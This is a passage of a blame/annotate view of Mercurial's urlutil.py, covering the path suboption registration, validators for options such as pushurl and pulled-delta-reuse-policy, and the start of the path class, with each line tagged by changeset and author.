instance. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
674 |
|
50692
9d4a2ea3dcb9
paths: add an argument to format the suboption display
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50207
diff
changeset
|
675 |
The optional `display` argument is a function that can be used to format |
9d4a2ea3dcb9
paths: add an argument to format the suboption display
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50207
diff
changeset
|
676 |
the value when displayed to the user (like in `hg paths` for example). |
9d4a2ea3dcb9
paths: add an argument to format the suboption display
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50207
diff
changeset
|
677 |
|
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
678 |
This decorator can be used to perform additional verification of |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
679 |
sub-options and to change the type of sub-options. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
680 |
""" |
50909
35885dbdc927
path-suboption: deprecated specifying the attributes as bytes
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50908
diff
changeset
|
681 |
if isinstance(attr, bytes): |
35885dbdc927
path-suboption: deprecated specifying the attributes as bytes
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50908
diff
changeset
|
682 |
msg = b'pathsuboption take `str` as "attr" argument, not `bytes`' |
35885dbdc927
path-suboption: deprecated specifying the attributes as bytes
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50908
diff
changeset
|
683 |
util.nouideprecwarn(msg, b"6.6", stacklevel=2) |
35885dbdc927
path-suboption: deprecated specifying the attributes as bytes
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50908
diff
changeset
|
684 |
attr = attr.decode('ascii') |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
685 |
|
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
686 |
def register(func): |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
687 |
_pathsuboptions[option] = (attr, func) |
50692
9d4a2ea3dcb9
paths: add an argument to format the suboption display
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50207
diff
changeset
|
688 |
path_suboptions_display[option] = display |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
689 |
return func |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
690 |
|
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
691 |
return register |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
692 |
|
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
693 |
|
50694
e9c676ad18f1
path: use the next `display` argument to deal with boolean
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50693
diff
changeset
|
694 |
def display_bool(value): |
e9c676ad18f1
path: use the next `display` argument to deal with boolean
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50693
diff
changeset
|
695 |
"""display a boolean suboption back to the user""" |
e9c676ad18f1
path: use the next `display` argument to deal with boolean
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50693
diff
changeset
|
696 |
return b'yes' if value else b'no' |
e9c676ad18f1
path: use the next `display` argument to deal with boolean
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50693
diff
changeset
|
697 |
|
e9c676ad18f1
path: use the next `display` argument to deal with boolean
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50693
diff
changeset
|
698 |
|
50908
ceac1bd816f7
path-suboption: use str for "_pushloc" suboptions
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50907
diff
changeset
|
699 |
@pathsuboption(b'pushurl', '_pushloc') |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
700 |
def pushurlpathoption(ui, path, value): |
46907
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
701 |
u = url(value) |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
702 |
# Actually require a URL. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
703 |
if not u.scheme: |
47276
9cc9b4a25248
urlutil: provide some information about "bad url" when processing `pushurl`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47273
diff
changeset
|
704 |
msg = _(b'(paths.%s:pushurl not a URL; ignoring: "%s")\n') |
9cc9b4a25248
urlutil: provide some information about "bad url" when processing `pushurl`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47273
diff
changeset
|
705 |
msg %= (path.name, value) |
9cc9b4a25248
urlutil: provide some information about "bad url" when processing `pushurl`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47273
diff
changeset
|
706 |
ui.warn(msg) |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
707 |
return None |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
708 |
|
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
709 |
# Don't support the #foo syntax in the push URL to declare branch to |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
710 |
# push. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
711 |
if u.fragment: |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
712 |
ui.warn( |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
713 |
_( |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
714 |
b'("#fragment" in paths.%s:pushurl not supported; ' |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
715 |
b'ignoring)\n' |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
716 |
) |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
717 |
% path.name |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
718 |
) |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
719 |
u.fragment = None |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
720 |
|
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
721 |
return bytes(u) |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
722 |
|
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
723 |
|
50907
b59ad4292c7a
path-suboption: use str for "pushrev" suboptions
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50906
diff
changeset
|
724 |
@pathsuboption(b'pushrev', 'pushrev') |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
725 |
def pushrevpathoption(ui, path, value): |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
726 |
return value |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
727 |
|
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
728 |
|
48242
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48240
diff
changeset
|
729 |
SUPPORTED_BOOKMARKS_MODES = { |
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48240
diff
changeset
|
730 |
b'default', |
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48240
diff
changeset
|
731 |
b'mirror', |
48244
b56858d85a7b
bookmarks: add a `ignore` variant of the bookmark mode
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48242
diff
changeset
|
732 |
b'ignore', |
48242
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48240
diff
changeset
|
733 |
} |
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48240
diff
changeset
|
734 |
|
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48240
diff
changeset
|
735 |
|
50906
5f3c2adcc69c
path-suboption: use str for "bookmarks_mode" suboptions
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50905
diff
changeset
|
736 |
@pathsuboption(b'bookmarks.mode', 'bookmarks_mode') |
48242
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48240
diff
changeset
|
737 |
def bookmarks_mode_option(ui, path, value): |
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48240
diff
changeset
|
738 |
if value not in SUPPORTED_BOOKMARKS_MODES: |
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48240
diff
changeset
|
739 |
path_name = path.name |
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48240
diff
changeset
|
740 |
if path_name is None: |
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48240
diff
changeset
|
741 |
# this is an "anonymous" path, config comes from the global one |
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48240
diff
changeset
|
742 |
path_name = b'*' |
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48240
diff
changeset
|
743 |
msg = _(b'(paths.%s:bookmarks.mode has unknown value: "%s")\n') |
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48240
diff
changeset
|
744 |
msg %= (path_name, value) |
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48240
diff
changeset
|
745 |
ui.warn(msg) |
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48240
diff
changeset
|
746 |
if value == b'default': |
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48240
diff
changeset
|
747 |
value = None |
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48240
diff
changeset
|
748 |
return value |
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48240
diff
changeset
|
749 |
|
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48240
diff
changeset
|
750 |
|
49767
f1887500f3ec
delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49758
diff
changeset
|
751 |
DELTA_REUSE_POLICIES = { |
f1887500f3ec
delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49758
diff
changeset
|
752 |
b'default': None, |
f1887500f3ec
delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49758
diff
changeset
|
753 |
b'try-base': revlog_constants.DELTA_BASE_REUSE_TRY, |
f1887500f3ec
delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49758
diff
changeset
|
754 |
b'no-reuse': revlog_constants.DELTA_BASE_REUSE_NO, |
49768
bcae90c53def
delta-find: add a delta-reuse policy that blindly accepts incoming deltas
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49767
diff
changeset
|
755 |
b'forced': revlog_constants.DELTA_BASE_REUSE_FORCE, |
49767
f1887500f3ec
delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49758
diff
changeset
|
756 |
} |
50693
c96fd53c0e2d
path: display proper user facing value for pulled-delta-reuse-policy
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50692
diff
changeset
|
757 |
DELTA_REUSE_POLICIES_NAME = dict(i[::-1] for i in DELTA_REUSE_POLICIES.items()) |
49767
f1887500f3ec
delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49758
diff
changeset
|
758 |
|
f1887500f3ec
delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49758
diff
changeset
|
759 |
|
50693
c96fd53c0e2d
path: display proper user facing value for pulled-delta-reuse-policy
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50692
diff
changeset
|
760 |
@pathsuboption( |
c96fd53c0e2d
path: display proper user facing value for pulled-delta-reuse-policy
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50692
diff
changeset
|
761 |
b'pulled-delta-reuse-policy', |
50905
dddd8e253c95
path-suboption: use str for "delta_reuse_policy" suboptions
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50904
diff
changeset
|
762 |
'delta_reuse_policy', |
50693
c96fd53c0e2d
path: display proper user facing value for pulled-delta-reuse-policy
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50692
diff
changeset
|
763 |
display=DELTA_REUSE_POLICIES_NAME.get, |
c96fd53c0e2d
path: display proper user facing value for pulled-delta-reuse-policy
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50692
diff
changeset
|
764 |
) |
49767
f1887500f3ec
delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49758
diff
changeset
|
765 |
def delta_reuse_policy(ui, path, value): |
f1887500f3ec
delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49758
diff
changeset
|
766 |
if value not in DELTA_REUSE_POLICIES: |
f1887500f3ec
delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49758
diff
changeset
|
767 |
path_name = path.name |
f1887500f3ec
delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49758
diff
changeset
|
768 |
if path_name is None: |
f1887500f3ec
delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49758
diff
changeset
|
769 |
# this is an "anonymous" path, config comes from the global one |
f1887500f3ec
delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49758
diff
changeset
|
770 |
path_name = b'*' |
50207
f35cf52acabd
delta-find: rename `delta-reuse-policy` to `pulled-delta-reuse-policy`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49845
diff
changeset
|
771 |
msg = _( |
f35cf52acabd
delta-find: rename `delta-reuse-policy` to `pulled-delta-reuse-policy`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49845
diff
changeset
|
772 |
b'(paths.%s:pulled-delta-reuse-policy has unknown value: "%s")\n' |
f35cf52acabd
delta-find: rename `delta-reuse-policy` to `pulled-delta-reuse-policy`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49845
diff
changeset
|
773 |
) |
49767
f1887500f3ec
delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49758
diff
changeset
|
774 |
msg %= (path_name, value) |
f1887500f3ec
delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49758
diff
changeset
|
775 |
ui.warn(msg) |
f1887500f3ec
delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49758
diff
changeset
|
776 |
return DELTA_REUSE_POLICIES.get(value) |
f1887500f3ec
delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49758
diff
changeset
|
777 |
|
f1887500f3ec
delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49758
diff
changeset
|
778 |
|
50904
9f3e4b60bfe6
path-suboption: use str for "multi_urls" path suboptions
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50897
diff
changeset
|
779 |
@pathsuboption(b'multi-urls', 'multi_urls', display=display_bool) |
47273
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
780 |
def multiurls_pathoption(ui, path, value): |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
781 |
res = stringutil.parsebool(value) |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
782 |
if res is None: |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
783 |
ui.warn( |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
784 |
_(b'(paths.%s:multi-urls not a boolean; ignoring)\n') % path.name |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
785 |
) |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
786 |
res = False |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
787 |
return res |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
788 |
|
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
789 |
|
47187
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
790 |
def _chain_path(base_path, ui, paths): |
47186
26b3953ba1b0
urlutil: extract `chain_path` in a function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47185
diff
changeset
|
791 |
"""return the result of "path://" logic applied on a given path""" |
47187
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
792 |
new_paths = [] |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
793 |
if base_path.url.scheme != b'path': |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
794 |
new_paths.append(base_path) |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
795 |
else: |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
796 |
assert base_path.url.path is None |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
797 |
sub_paths = paths.get(base_path.url.host) |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
798 |
if sub_paths is None: |
47186
26b3953ba1b0
urlutil: extract `chain_path` in a function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47185
diff
changeset
|
799 |
m = _(b'cannot use `%s`, "%s" is not a known path') |
47187
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
800 |
m %= (base_path.rawloc, base_path.url.host) |
47186
26b3953ba1b0
urlutil: extract `chain_path` in a function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47185
diff
changeset
|
801 |
raise error.Abort(m) |
47187
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
802 |
for subpath in sub_paths: |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
803 |
path = base_path.copy() |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
804 |
if subpath.raw_url.scheme == b'path': |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
805 |
m = _(b'cannot use `%s`, "%s" is also defined as a `path://`') |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
806 |
m %= (path.rawloc, path.url.host) |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
807 |
raise error.Abort(m) |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
808 |
path.url = subpath.url |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
809 |
path.rawloc = subpath.rawloc |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
810 |
path.loc = subpath.loc |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
811 |
if path.branch is None: |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
812 |
path.branch = subpath.branch |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
813 |
else: |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
814 |
base = path.rawloc.rsplit(b'#', 1)[0] |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
815 |
path.rawloc = b'%s#%s' % (base, path.branch) |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
816 |
suboptions = subpath._all_sub_opts.copy() |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
817 |
suboptions.update(path._own_sub_opts) |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
818 |
path._apply_suboptions(ui, suboptions) |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
819 |
new_paths.append(path) |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
820 |
return new_paths |
47186
26b3953ba1b0
urlutil: extract `chain_path` in a function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47185
diff
changeset
|
821 |
|
26b3953ba1b0
urlutil: extract `chain_path` in a function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47185
diff
changeset
|
822 |
|
48946
642e31cb55f0
py3: use class X: instead of class X(object):
Gregory Szorc <gregory.szorc@gmail.com>
parents:
48913
diff
changeset
|
823 |
class path: |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
824 |
"""Represents an individual path and its configuration.""" |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
825 |
|
48238
ea50caada82d
path: add a new argument to control path validation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47412
diff
changeset
|
826 |
def __init__( |
ea50caada82d
path: add a new argument to control path validation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47412
diff
changeset
|
827 |
self, |
ea50caada82d
path: add a new argument to control path validation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47412
diff
changeset
|
828 |
ui=None, |
ea50caada82d
path: add a new argument to control path validation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47412
diff
changeset
|
829 |
name=None, |
ea50caada82d
path: add a new argument to control path validation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47412
diff
changeset
|
830 |
rawloc=None, |
ea50caada82d
path: add a new argument to control path validation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47412
diff
changeset
|
831 |
suboptions=None, |
ea50caada82d
path: add a new argument to control path validation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47412
diff
changeset
|
832 |
validate_path=True, |
ea50caada82d
path: add a new argument to control path validation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47412
diff
changeset
|
833 |
): |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
834 |
"""Construct a path from its config options. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
835 |
|
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
836 |
``ui`` is the ``ui`` instance the path is coming from. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
837 |
``name`` is the symbolic name of the path. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
838 |
``rawloc`` is the raw location, as defined in the config. |
49706
f27fbb908b10
path: deprecated the `pushloc` attribute
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49697
diff
changeset
|
839 |
``_pushloc`` is the raw locations pushes should be made to. |
f27fbb908b10
path: deprecated the `pushloc` attribute
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49697
diff
changeset
|
840 |
(see the `get_push_variant` method) |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
841 |
|
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
842 |
If ``name`` is not defined, we require that the location be a) a local |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
843 |
filesystem path with a .hg directory or b) a URL. If not, |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
844 |
``ValueError`` is raised. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
